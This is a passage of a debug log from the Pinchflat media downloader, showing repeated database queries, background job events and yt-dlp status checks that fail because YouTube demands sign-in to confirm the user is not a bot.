m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [30] 20:31:38.491 [debug] QUERY OK source="tasks" db=0.6ms idle=7.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:38.493 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:38.493 [debug] QUERY OK source="media_items" db=1.4ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [29, 30] 20:31:38.494 [debug] QUERY OK source="sources" db=1.3ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:38.497 [debug] QUERY OK source="media_profiles" db=1.0ms queue=1.1ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:38.498 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [30] 20:31:38.500 [debug] QUERY OK source="media_metadata" db=0.2ms idle=9.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [30] 20:31:38.501 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:38.502 [debug] QUERY OK source="settings" db=0.6ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.502 [debug] QUERY OK source="settings" db=0.6ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.503 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:38.505 [debug] QUERY OK source="settings" db=0.2ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.505 [debug] QUERY OK source="settings" db=0.5ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.506 [debug] QUERY OK source="settings" db=0.5ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.506 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1FBCUlCdRk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ee/0e/ee0e71a61e4e3ab6ae26d0829e9d87280879970d6a2514932452064ec5c62cff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:40.012 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wPlJl4l5Kzs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/64/95/6495158c3e4562da6d45ffdb4ae36e217d5de34a27ed9957b9ea55aa4f52c1da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] wPlJl4l5Kzs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:40.012 [error] yt-dlp download error for media item #29: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] wPlJl4l5Kzs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:40.012 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] wPlJl4l5Kzs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:40.013 [info] {"args":{"id":29},"id":227,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1874755,"event":"job:stop","attempt":1,"queue_time":27137168,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:40.014 [debug] QUERY OK source="tasks" db=0.4ms idle=420.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:40.015 [debug] QUERY OK source="media_items" db=0.3ms idle=421.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [30] 20:31:40.020 [info] {"args":{"id":31},"id":229,"meta":{},"system_time":1774150300020047290,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:40.021 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=161.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [31] 20:31:40.021 [debug] QUERY OK source="tasks" db=1.4ms idle=6.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:40.022 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:40.023 [debug] QUERY OK source="media_items" db=0.7ms queue=0.3ms idle=7.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [30, 31] 20:31:40.024 [debug] QUERY OK source="sources" db=1.2ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:40.025 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.2ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:40.026 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [31] 20:31:40.028 [debug] QUERY OK source="media_metadata" db=0.2ms idle=5.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [31] 20:31:40.028 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:40.029 [debug] QUERY OK source="settings" db=0.3ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.029 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.030 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:40.030 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.031 [debug] QUERY OK source="settings" db=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.031 [debug] QUERY OK source="settings" db=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.031 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SsYdc2B_2xA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c9/ae/c9ae5f38aea9628057eda1aee2e5707a9e5401196bd192cf9362895338e87e77.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:40.388 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1FBCUlCdRk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ee/0e/ee0e71a61e4e3ab6ae26d0829e9d87280879970d6a2514932452064ec5c62cff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] t1FBCUlCdRk: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:40.388 [error] yt-dlp download error for media item #30: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1FBCUlCdRk: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:40.388 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1FBCUlCdRk: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:40.389 [info] {"args":{"id":30},"id":228,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1898430,"event":"job:stop","attempt":1,"queue_time":27489131,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:40.391 [debug] QUERY OK source="tasks" db=0.7ms idle=361.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:40.393 [debug] QUERY OK source="media_items" db=1.1ms idle=361.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [31] 20:31:40.396 [info] {"args":{"id":32},"id":230,"meta":{},"system_time":1774150300396234110,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:40.398 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=364.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [32] 20:31:40.398 [debug] QUERY OK source="tasks" db=1.8ms idle=6.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:40.399 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:40.400 [debug] QUERY OK source="media_items" db=1.2ms idle=7.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [31, 32] 20:31:40.400 [debug] QUERY OK source="sources" db=1.3ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:40.403 [debug] QUERY OK source="media_profiles" db=2.4ms queue=0.1ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:40.404 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [32] 20:31:40.406 [debug] QUERY OK source="media_metadata" db=0.2ms idle=7.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [32] 20:31:40.406 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:40.407 [debug] QUERY OK source="settings" db=0.5ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.408 [debug] QUERY OK source="settings" db=0.5ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.409 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:40.411 [debug] QUERY OK source="settings" db=0.2ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 